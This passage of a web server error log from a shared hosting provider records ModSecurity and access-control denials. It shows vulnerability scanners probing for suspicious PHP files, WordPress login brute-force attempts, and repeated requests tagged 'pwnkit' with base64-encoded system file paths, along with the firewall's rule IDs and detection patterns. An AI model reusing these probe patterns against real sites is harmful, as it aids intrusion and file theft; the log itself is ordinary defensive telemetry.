testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jfwACRDA"], referer: https://camera-roll.com/wp-login.php [Sat Jun 13 18:10:22.030619 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:22.031144 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:22.046931 2026] [security2:error] [pid 531797:tid 531901] [remote 149.28.167.253:37248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jhAACOyU"] [Sat Jun 13 18:10:22.114445 2026] [security2:error] [pid 531155:tid 531394] [client 20.151.217.54:39046] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/twinklingly.php"] [unique_id "ai3xbimiP80klyS0Nnr22AAAAXc"] [Sat Jun 13 18:10:22.140981 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.61:49368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:22.141285 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.61:49368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:22.198784 2026] [access_compat:error] [pid 531797:tid 531970] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:22.199083 2026] [access_compat:error] [pid 531797:tid 531970] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS9hc20= [Sat Jun 13 18:10:22.220096 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.95:40257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:22.220566 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.95:40257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:22.310266 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:10:22.310721 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:10:22.351901 2026] [security2:error] [pid 531797:tid 532058] [client 36.68.26.156:33174] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "japaneseclassicmotorcycles.com"] [uri "/wp-comments-post.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jhwAAAlA"] [Sat Jun 13 18:10:22.356645 2026] [security2:error] [pid 531797:tid 532080] [client 20.151.217.54:60127] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jjgAAAmY"] [Sat Jun 13 18:10:22.396411 2026] [security2:error] [pid 531797:tid 532058] [client 36.68.26.156:33174] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "403"] [hostname "japaneseclassicmotorcycles.com"] [uri "/wp-comments-post.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jhwAAAlA"] [Sat Jun 13 18:10:22.441260 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.78:26908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:22.441541 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.78:26908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:22.535229 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:22.535608 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:22.580665 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.9:52634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:22.581129 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.9:52634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:22.663557 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:22.663846 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvYm54Mmk= [Sat Jun 13 18:10:22.708303 2026] [security2:error] [pid 531797:tid 531978] [remote 17.241.75.115:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 115.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jmAACkHE"] [Sat Jun 13 18:10:22.766885 2026] [security2:error] [pid 531797:tid 532037] [client 20.151.217.54:9422] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/flox.php"] [unique_id "ai3xbsTA7b1mZrmcA-8jmQAAAjw"] [Sat Jun 13 18:10:22.812848 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:10:22.813114 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:10:23.019470 2026] [security2:error] [pid 531155:tid 531221] [remote 17.246.19.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xbymiP80klyS0Nnr27AABa0E"] [Sat Jun 13 18:10:23.144691 2026] [access_compat:error] [pid 531797:tid 531908] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:23.145122 2026] [access_compat:error] [pid 531797:tid 531908] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:23.175175 2026] [security2:error] [pid 531155:tid 531347] [client 20.151.217.54:40241] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/12.php"] [unique_id "ai3xbymiP80klyS0Nnr27QAAAUg"] [Sat Jun 13 18:10:23.359057 2026] [security2:error] [pid 531155:tid 531352] [client 191.234.188.123:64603] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/img.php"] [unique_id "ai3xbymiP80klyS0Nnr27gAAAU0"] [Sat Jun 13 18:10:23.371628 2026] [security2:error] [pid 531797:tid 532006] [client 20.151.217.54:9436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/drykl.php"] [unique_id "ai3xb8TA7b1mZrmcA-8jogAAAh4"] [Sat Jun 13 18:10:23.381407 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:23.381686 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:23.578486 2026] [security2:error] [pid 531797:tid 531866] [remote 17.241.227.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xb8TA7b1mZrmcA-8jrAACbgI"] [Sat Jun 13 18:10:23.593613 2026] [access_compat:error] [pid 531797:tid 531870] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:23.594059 2026] [access_compat:error] [pid 531797:tid 531870] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:23.700282 2026] [security2:error] [pid 531797:tid 532018] [client 20.151.217.54:9471] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/h2a2ck.php"] [unique_id "ai3xb8TA7b1mZrmcA-8jswAAAio"] [Sat Jun 13 18:10:23.724175 2026] [security2:error] [pid 531155:tid 531332] [client 20.151.217.54:40254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xbymiP80klyS0Nnr29wAAATk"] [Sat Jun 13 18:10:23.881171 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:23.881438 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:23.885459 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.108:28347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:23.885884 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.108:28347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:23.889194 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.32:57991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:23.889506 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.32:57991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:23.905635 2026] [security2:error] [pid 531797:tid 532084] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/session/tests/session_set_cookie_params_variation3.phpt"] [unique_id "ai3xb8TA7b1mZrmcA-8juwAAAmo"] [Sat Jun 13 18:10:23.931347 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.96:48899] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:23.931796 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.96:48899] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:23.949010 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.44:51927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:23.949412 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.44:51927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:24.030948 2026] [security2:error] [pid 531797:tid 532092] [client 20.151.217.54:18500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xcMTA7b1mZrmcA-8jwQAAAnE"] [Sat Jun 13 18:10:24.091668 2026] [access_compat:error] [pid 531797:tid 531932] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:24.091948 2026] [access_compat:error] [pid 531797:tid 531932] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:24.143191 2026] [security2:error] [pid 531797:tid 531939] [remote 149.28.167.253:37248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai3xcMTA7b1mZrmcA-8jxAACI0s"], referer: https://bradgoreski.co/wp-login.php [Sat Jun 13 18:10:24.154414 2026] [security2:error] [pid 531797:tid 532052] [client 20.151.217.54:9467] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/777.php"] [unique_id "ai3xcMTA7b1mZrmcA-8jxQAAAko"] [Sat Jun 13 18:10:24.405635 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:10:24.405913 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:10:24.442399 2026] [security2:error] [pid 531155:tid 531373] [client 20.151.217.54:40210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/yoy123.php"] [unique_id 